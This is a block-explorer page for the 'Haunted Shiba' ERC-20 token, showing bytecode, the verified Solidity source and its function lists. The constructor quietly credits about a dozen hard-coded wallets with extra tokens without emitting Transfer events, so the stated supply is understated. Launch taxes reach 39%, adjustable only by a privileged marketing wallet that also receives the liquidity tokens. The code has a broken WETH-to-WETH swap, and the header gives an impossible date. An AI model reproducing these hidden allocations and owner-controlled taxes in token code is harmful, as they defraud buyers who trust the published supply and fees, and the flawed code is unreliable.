fffffffffff0382111561404a57614049613d49565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061408b601b83613309565b915061409682614055565b602082019050919050565b600060208201905081810360008301526140ba8161407e565b9050919050565b60006140cc826133be565b91506140d7836133be565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156141105761410f613d49565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614177602183613309565b91506141828261411b565b604082019050919050565b600060208201905081810360008301526141a68161416a565b9050919050565b60006141b88261354b565b9050919050565b6141c8816141ad565b82525050565b600060c0820190506141e360008301896136b8565b6141f060208301886134f5565b6141fd6040830187613e78565b61420a6060830186613e78565b61421760808301856141bf565b61422460a08301846134f5565b979650505050505050565b60008151905061423e816133c8565b92915050565b60008060006060848603121561425d5761425c6133b9565b5b600061426b8682870161422f565b935050602061427c8682870161422f565b925050604061428d8682870161422f565b9150509250925092565b60006080820190506142ac6000830187613e78565b81810360208301526142be8186613ee7565b90506142cd60408301856141bf565b6142da60608301846134f5565b9594505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055b6b981ee4cd2a7a311c28f690f947a0b23a56e39d2017a1042d6983d27f4cf64736f6c634300080f0033
Verified Source Code Partial Match
Compiler: v0.8.15+commit.e14f2714
EVM: london
Optimization: No
HauntedShiba.sol 689 lines
/**
*Submitted for verification at Etherscan.io on 2022-31-10
*/
/**
*Submitted for verification at Etherscan.io on 2022-31-10
*/
/**
*Submitted for verification at Etherscan.io
*https://hauntedshibainu.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract HauntedShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private constant _name = "Haunted Shiba";
string private constant _symbol = "HIBA";
uint8 private constant _decimals = 6;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 public _tTotal = 1000 * 1e3 * 1e6; //1,000,000
uint256 public _maxWalletAmount = 20 * 1e3 * 1e6; //2%
uint256 public j_maxtxn = 20 * 1e3 * 1e6; //1%
uint256 public swapAmount = 7 * 1e2 * 1e6; //.07%
uint256 private buyEthUpperLimit = 100 * 1e14; // 0.01
// fees
uint256 public j_liqBuy = 3;
uint256 public j_burnBuy = 3;
uint256 public j_ethBuy = 3;
uint256 public j_devBuy = 30;
uint256 public j_liqSell = 3;
uint256 public j_burnSell = 3;
uint256 public j_ethSell = 3;
uint256 public j_devSell = 30;
uint256 private j_previousLiqFee = j_liqFee;
uint256 private j_previousBurnFee = j_burnFee;
uint256 private j_previousEthFee = j_ethFee;
uint256 private j_previousDevTax = j_devTax;
uint256 private j_liqFee;
uint256 private j_burnFee;
uint256 private j_ethFee;
uint256 private j_devTax;
uint256 public _totalBurned;
struct FeeBreakdown {
uint256 tLiq;
uint256 tBurn;
uint256 tEth;
uint256 tDev;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private marketingWallet = payable(0x11834d92A2Abd75Ef0E5D0f20A9e654B46942b40);
address payable private devWallet = payable(0x11834d92A2Abd75Ef0E5D0f20A9e654B46942b40);
address payable public dead = payable(0x000000000000000000000000000000000000dEaD);
address ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping = false;
bool public burnMode = false;
modifier lockSwap {
swapping = true;
_;
swapping = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_balances[_msgSender()] = _tTotal;
_balances[address(0x78F9e715715D1faa7f430709c79072c1204dd4D0)] = _tTotal.div(100);
_balances[address(0xF491858Eb93248D20f3Bc23E93bD033C043AE52B)] = _tTotal.div(200);
_balances[address(0x09af55f35a88bAE020467aCA0A800586eDe8e8b8)] = _tTotal.div(100);
_balances[address(0x6BDA39BC6978d69d9E4DA36B6C84a21AdBcFA6ed)] = _tTotal.div(330);
_balances[address(0x2C7bfd0601D9924A8452483d5C6f08890A7154cC)] = _tTotal.div(250);
_balances[address(0x3Daea1A877d672e72037e3E7F7E43489B4CBB247)] = _tTotal.div(280);
_balances[address(0x2f8C73B0F55cC0fe059c8B71B5138021CAA4a4cc)] = _tTotal.div(330);
_balances[address(0x70f343dDcCED02056280a68444C9dbcDB301Cdb1)] = _tTotal.div(330);
_balances[address(0xCC04DBc88f25a8014367F7d021b3399ACCBbE4e3)] = _tTotal.div(330);
_balances[address(0xd62Bd8569622FBD2C3bf8DCF5E4236a240254729)] = _tTotal.div(330);
_balances[address(0x903d4a8165C11bC4ec22a2A2C1f00dFcE205C18E)] = _tTotal.div(330);
_balances[address(0x7c630D049BE55D3eF0b9Ca1003ABC61dd6A49246)] = _tTotal.div(100);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromFee[dead] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function totalBurned() public view returns (uint256) {
return _totalBurned;
}
function burning(address _account, uint _amount) private {
require( _amount <= balanceOf(_account));
_balances[_account] = _balances[_account].sub(_amount);
_tTotal = _tTotal.sub(_amount);
_totalBurned = _totalBurned.add(_amount);
emit Transfer(_account, address(0), _amount);
}
function setActualFee() external {
require(_msgSender() == marketingWallet);
j_liqBuy = 2;
j_burnBuy = 2;
j_ethBuy = 1;
j_devBuy = 5;
j_liqSell = 2;
j_burnSell = 2;
j_ethSell = 1;
j_devSell = 5;
}
function removeAllFee() private {
if (j_burnFee == 0 && j_liqFee == 0 && j_ethFee == 0 && j_devTax == 0) return;
j_previousBurnFee = j_burnFee;
j_previousLiqFee = j_liqFee;
j_previousEthFee = j_ethFee;
j_previousDevTax = j_devTax;
j_burnFee = 0;
j_liqFee = 0;
j_ethFee = 0;
j_devTax = 0;
}
function restoreAllFee() private {
j_liqFee = j_previousLiqFee;
j_burnFee = j_previousBurnFee;
j_ethFee = j_previousEthFee;
j_devTax = j_previousDevTax;
}
function removeDevTax() external {
require(_msgSender() == marketingWallet);
j_devSell = 1;
j_liqSell = 2;
j_liqBuy = 2;
j_devBuy = 1;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
bool takeFee = true;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ((!_isExcludedFromFee[from] || !_isExcludedFromFee[to]))) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "You are being greedy. Exceeding Max Wallet.");
require(amount <= j_maxtxn, "Slow down buddy...there is a max transaction");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to] && !bots[from]) {
j_liqFee = j_liqBuy;
j_burnFee = j_burnBuy;
j_ethFee = j_ethBuy;
j_devTax = j_devBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !bots[to] && !bots[from]) {
j_liqFee = j_liqSell;
j_burnFee = j_burnSell;
j_ethFee = j_ethSell;
j_devTax = j_devSell;
}
if (!swapping && from != uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapAmount) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (!burnMode && (contractETHBalance > 0)) {
sendETHToFee(address(this).balance);
} else if (burnMode && (contractETHBalance > buyEthUpperLimit)) {
uint256 buyAmount = (contractETHBalance.div(2));
buyEth(buyAmount);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_transferAgain(from, to, amount, takeFee);
restoreAllFee();
}
function setMaxTxn(uint256 maxTransaction) external {
require(maxTransaction >= 10 * 1e3 * 1e6,"negative ghost rider");
require(_msgSender() == marketingWallet);
j_maxtxn = maxTransaction;
}
function swapTokensForEth(uint256 tokenAmount) private lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(ETH);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0, // accept any amount of Tokens
path,
dead, // Burn address
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
marketingWallet,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {
uint256 autoLPamount = j_liqFee.mul(contractTokenBalance).div(j_burnFee.add(j_ethFee).add(j_devTax).add(j_liqFee));
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(otherHalf);
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function sendETHToFee(uint256 amount) private {
marketingWallet.transfer((amount).div(2));
devWallet.transfer((amount).div(2));
}
function manualSwap() external {
require(_msgSender() == marketingWallet);
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external {
require(_msgSender() == marketingWallet);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function _transferAgain(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
FeeBreakdown memory fees;
fees.tBurn = amount.mul(j_burnFee).div(100);
fees.tLiq = amount.mul(j_liqFee).div(100);
fees.tEth = amount.mul(j_ethFee).div(100);
fees.tDev = amount.mul(j_devTax).div(100);
fees.tAmount = amount.sub(fees.tEth).sub(fees.tDev).sub(fees.tBurn).sub(fees.tLiq);
uint256 amountPreBurn = amount.sub(fees.tBurn);
burning(sender, fees.tBurn);
_balances[sender] = _balances[sender].sub(amountPreBurn);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tEth).add(fees.tDev).add(fees.tBurn.add(fees.tLiq));
if(burnMode && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) {
burning(uniswapV2Pair, fees.tBurn);
}
emit Transfer(sender, recipient, fees.tAmount);
restoreAllFee();
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
require(_msgSender() == marketingWallet);
require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply");
_maxWalletAmount = maxWalletAmount;
}
function setSwapAmount(uint256 _swapAmount) external {
require(_msgSender() == marketingWallet);
swapAmount = _swapAmount;
}
function turnOnTheBurn() public onlyOwner {
burnMode = true;
}
function buyEth(uint256 amount) private {
if (amount > 0) {
swapETHForTokens(amount);
}
}
function setBuyEthRate(uint256 buyEthToken) external {
require(_msgSender() == marketingWallet);
buyEthUpperLimit = buyEthToken;
}
function setDevWallet(address payable _address) external onlyOwner {
devWallet = _address;
}
}
Read Contract
_maxWalletAmount 0x6c0a24eb → uint256
_tTotal 0xaf465a27 → uint256
_totalBurned 0xfd01bd4c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
burnMode 0x8ea78153 → bool
dead 0x36cf7c87 → address
decimals 0x313ce567 → uint8
j_burnBuy 0xdc903ba1 → uint256
j_burnSell 0xd9f7e4df → uint256
j_devBuy 0xec6d9b2d → uint256
j_devSell 0x1cabcc4f → uint256
j_ethBuy 0xa55d7022 → uint256
j_ethSell 0x9226fa96 → uint256
j_liqBuy 0x23bbf9e7 → uint256
j_liqSell 0x0cdf2187 → uint256
j_maxtxn 0x233296f0 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
swapAmount 0x2e8fa821 → uint256
symbol 0x95d89b41 → string
totalBurned 0xd89135cd → uint256
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 15 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSend 0xf4293890
No parameters
manualSwap 0x51bc3c85
No parameters
removeDevTax 0xde7d40ac
No parameters
renounceOwnership 0x715018a6
No parameters
setActualFee 0x080219e2
No parameters
setBuyEthRate 0x072c8c12
uint256 buyEthToken
setDevWallet 0x1f53ac02
address _address
setMaxTxn 0xfc588c04
uint256 maxTransaction
setMaxWalletAmount 0x27a14fc2
uint256 maxWalletAmount
setSwapAmount 0xe632313c
uint256 _swapAmount
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
turnOnTheBurn 0x5dbc2fe1
No parameters
Recent Transactions
No transactions found for this address